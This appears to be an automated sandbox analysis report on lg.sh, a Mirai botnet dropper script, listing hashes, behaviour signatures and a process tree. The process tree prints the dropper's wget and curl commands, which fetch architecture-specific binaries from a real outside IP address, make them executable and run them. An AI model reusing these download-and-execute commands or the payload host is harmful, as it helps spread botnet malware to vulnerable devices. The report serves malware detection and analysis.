Analysis
-
max time kernel
149s -
max time network
148s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
11-12-2024 21:52
Static task
static1
Behavioral task
behavioral1
Sample
lg.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
lg.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
lg.sh
Resource
debian9-mipsbe-20240729-en
General
-
Target
lg.sh
-
Size
2KB
-
MD5
bc40d4bb4de4a22bd513d81d70e0eeec
-
SHA1
996bf695d315b1848bc06b61cd5344572864759a
-
SHA256
134dc395ec12b8f0f040be5edec53a6162732ad047b5f9a37132036bbc71bfea
-
SHA512
8dac2fb98c24f274e9212e7c56ee8b89b83e987758b8a98d8cb15d3848ce1f8695712bb93bd5d47cb3dd28d9335410d4f358eb620a9ca1afe4794732bad411b3
Malware Config
Extracted
mirai
BOTNET
Signatures
-
Mirai family
-
Contacts a large (94412) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 794 chmod 852 chmod 864 chmod 870 chmod 876 chmod 888 chmod 905 chmod 754 chmod 846 chmod 882 chmod 894 chmod 900 chmod 759 chmod -
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/Andrew 755 Andrew /tmp/Andrew 760 Andrew /tmp/Andrew 795 Andrew /tmp/Andrew 847 Andrew /tmp/Andrew 853 Andrew /tmp/Andrew 865 Andrew /tmp/Andrew 871 Andrew /tmp/Andrew 877 Andrew /tmp/Andrew 883 Andrew /tmp/Andrew 889 Andrew /tmp/Andrew 895 Andrew /tmp/Andrew 901 Andrew /tmp/Andrew 906 Andrew -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Andrew File opened for modification /dev/misc/watchdog Andrew -
resource yara_rule behavioral3/files/fstream-3.dat upx behavioral3/files/fstream-6.dat upx behavioral3/files/fstream-9.dat upx behavioral3/files/fstream-12.dat upx behavioral3/files/fstream-15.dat upx behavioral3/files/fstream-18.dat upx behavioral3/files/fstream-20.dat upx behavioral3/files/fstream-24.dat upx behavioral3/files/fstream-26.dat upx -
Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself /var/Sofia 853 Andrew -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/� Andrew File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 849 wget 850 curl 851 cat -
Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/arm5 wget File opened for modification /tmp/arm5 curl File opened for modification /tmp/arm7 wget File opened for modification /tmp/sh4 wget File opened for modification /tmp/mips curl File opened for modification /tmp/i686 wget File opened for modification /tmp/x86_64 wget File opened for modification /tmp/x86_64 curl File opened for modification /tmp/arm4 curl File opened for modification /tmp/arm6 curl File opened for modification /tmp/Andrew lg.sh File opened for modification /tmp/x86 curl File opened for modification /tmp/i686 curl File opened for modification /tmp/mpsl wget File opened for modification /tmp/mpsl curl File opened for modification /tmp/arm6 wget File opened for modification /tmp/ppc wget File opened for modification /tmp/ppc curl File opened for modification /tmp/x86 wget File opened for modification /tmp/m68k curl File opened for modification /tmp/spc curl File opened for modification /tmp/mips wget File opened for modification /tmp/arm4 wget File opened for modification /tmp/arm7 curl File opened for modification /tmp/i486 curl
Processes
-
/tmp/lg.sh/tmp/lg.sh1⤵
- Writes file to tmp directory
PID:723 -
/usr/bin/wgetwget http://37.114.41.90/bins/i4862⤵PID:726
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i4862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:738
-
-
/bin/catcat i4862⤵PID:753
-
-
/bin/chmodchmod +x Andrew i486 lg.sh systemd-private-f6d6c272e6c54353ba84780c1b0a62e6-systemd-timedated.service-zbYrQz2⤵
- File and Directory Permissions Modification
PID:754
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:755
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x862⤵
- Writes file to tmp directory
PID:756
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:757
-
-
/bin/catcat x862⤵PID:758
-
-
/bin/chmodchmod +x Andrew i486 lg.sh systemd-private-f6d6c272e6c54353ba84780c1b0a62e6-systemd-timedated.service-zbYrQz x862⤵
- File and Directory Permissions Modification
PID:759
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:760
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/i6862⤵
- Writes file to tmp directory
PID:762
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:767
-
-
/bin/catcat i6862⤵PID:792
-
-
/bin/chmodchmod +x Andrew i486 i686 lg.sh systemd-private-f6d6c272e6c54353ba84780c1b0a62e6-systemd-timedated.service-zbYrQz x862⤵
- File and Directory Permissions Modification
PID:794
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:795
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x86_642⤵
- Writes file to tmp directory
PID:799
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:809
-
-
/bin/catcat x86_642⤵PID:845
-
-
/bin/chmodchmod +x Andrew i486 i686 lg.sh systemd-private-f6d6c272e6c54353ba84780c1b0a62e6-systemd-timedated.service-zbYrQz x86 x86_642⤵
- File and Directory Permissions Modification
PID:846
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:847
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:849
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:850
-
-
/bin/catcat mips2⤵
- System Network Configuration Discovery
PID:851
-
-
/bin/chmodchmod +x Andrew i486 i686 lg.sh mips systemd-private-f6d6c272e6c54353ba84780c1b0a62e6-systemd-timedated.service-zbYrQz x86 x86_642⤵
- File and Directory Permissions Modification
PID:852
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Changes its process name
- Reads runtime system information
PID:853
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/mpsl2⤵
- Writes file to tmp directory
PID:855
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:859
-
-
/bin/catcat mpsl2⤵PID:863
-
-
/bin/chmodchmod +x Andrew i486 i686 lg.sh mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:864
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:865
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm42⤵
- Writes file to tmp directory
PID:867
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:868
-
-
/bin/catcat arm42⤵PID:869
-
-
/bin/chmodchmod +x Andrew arm4 i486 i686 lg.sh mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:870
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:871
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm52⤵
- Writes file to tmp directory
PID:873
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:874
-
-
/bin/catcat arm52⤵PID:875
-
-
/bin/chmodchmod +x Andrew arm4 arm5 i486 i686 lg.sh mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:876
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:877
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm62⤵
- Writes file to tmp directory
PID:879
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:880
-
-
/bin/catcat arm62⤵PID:881
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 i486 i686 lg.sh mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:882
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:883
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm72⤵
- Writes file to tmp directory
PID:885
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:886
-
-
/bin/catcat arm72⤵PID:887
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 i486 i686 lg.sh mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:888
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:889
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/ppc2⤵
- Writes file to tmp directory
PID:891
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:892
-
-
/bin/catcat ppc2⤵PID:893
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 i486 i686 lg.sh mips mpsl ppc x86 x86_642⤵
- File and Directory Permissions Modification
PID:894
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:895
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/spc2⤵PID:897
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:898
-
-
/bin/catcat spc2⤵PID:899
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 i486 i686 lg.sh mips mpsl ppc spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:900
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:901
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/m68k2⤵PID:902
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:903
-
-
/bin/catcat m68k2⤵PID:904
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 i486 i686 lg.sh m68k mips mpsl ppc spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:905
-
-
/tmp/Andrew./Andrew lg.exploit2⤵
- Executes dropped EXE
PID:906
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/sh42⤵
- Writes file to tmp directory
PID:907
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
50KB
MD5ec18f0ce6842c5c203fd259ce2f9d8cf
SHA16c095237364e8ffc0135c729b196e5a092b794ea
SHA25634660cb619eeaf47ce12125f5e0648c6926c00e190c4844a7957e52995a67fe1
SHA5126411af804fa74ab213b729633e2db9c1fff8b00d30de6c014843bd300ef93e73e551ad967f8e9c686e10300c190fe2d20a4211585a30dd51268f4686d2cc1927
-
Filesize
31KB
MD5b09e32f241911f4ddac45a1a7a19ba49
SHA117a7f213570aaea7f66b9c38091c9485fa0ea510
SHA25642828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c
SHA5121d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5
-
Filesize
32KB
MD5bf55d7061cedeb10e6a3839353dc6d8c
SHA134b773230a77570ef0c6fced5ab9f125996e4daf
SHA256aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9
SHA512555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e
-
Filesize
50KB
MD5d5af8f2bb8c7c3e39981ba0099fa1d1c
SHA1f12212c88dddb3c0298987b917c55063f942df88
SHA256fec20fde8f5cb8d571cee50a2bf8103c9e63c57b2bfd098693974389fd79c8d9
SHA51242b3455e467f11b68f000f6f375bd9d7f42d77c16184a3a6a36bbf4751e72a01b692032ee6d03a8ed398484cacbdb6231478d42099004f3674de84873c2e817e
-
Filesize
274B
MD5090e35476de39030dfeafbcf3d3e3f43
SHA1a4bd408cec5d1185b478e528cf60a9f5186e0b87
SHA2560085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b
SHA51255c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181
-
Filesize
28KB
MD515fb222600a3061f5c8e5ef04e5298a6
SHA193b4a17632479c8a45e2554a18ea61ea7365c532
SHA256fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965
SHA51211e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34
-
Filesize
34KB
MD56088a204e0792a10d3724e836fe699b7
SHA1fc1cf1010c99f155c46f94ec0529c8cea32c6055
SHA256345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e
SHA512bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e
-
Filesize
34KB
MD5b8f2bf3e7c002718f12751cb02130d2e
SHA106919c90eae2564ee9ded3f343e2ec18839e411d
SHA256390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d
SHA512adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185
-
Filesize
30KB
MD5053488c4fc01a20ddb689a2212c33126
SHA11eff2d1947ee2d6481fdd2ab4b2a67fba3e18321
SHA2560a8cb5b485b059b98725ff4a6411faa3ea9f150082b46b0b3868ae0e31b6dd41
SHA51232d412546f202e9165cf6c905b46d52db20425b7ff7f90b98a739f6c7860b30c34e8bc5eaca4d6f23e25c6e88580990a6003fd9747d581e25098f3267e78f1f9
-
Filesize
14KB
MD559cd96d3c4fbbf9801547b798060b56d
SHA1f280693fedb023120708cb265f248972e75daae8
SHA2562020d9e66585917d91160b8bf53187db61fcda76eba50bfe61f333e53ce3f807
SHA5126efdee555e945ecc36f893a4d94a2176db50536bc7c25d8ec07501f2a08083f3ae25c722885982571fa1a47b16850e3a810d7d187b6dacdf09b8fd72704ddde8
-
Filesize
28KB
MD554d07ade0004f03aaca028523d8f3eb6
SHA173606fc68439ea7ceb148f94d61dbe0235da8355
SHA256d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b
SHA51243ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b
-
Filesize
28KB
MD59cc970e0631afa61a049848f4f368b12
SHA154d7d99f436e9c97da5bfdd43698bb1dbd679b29
SHA256681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16
SHA5129f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e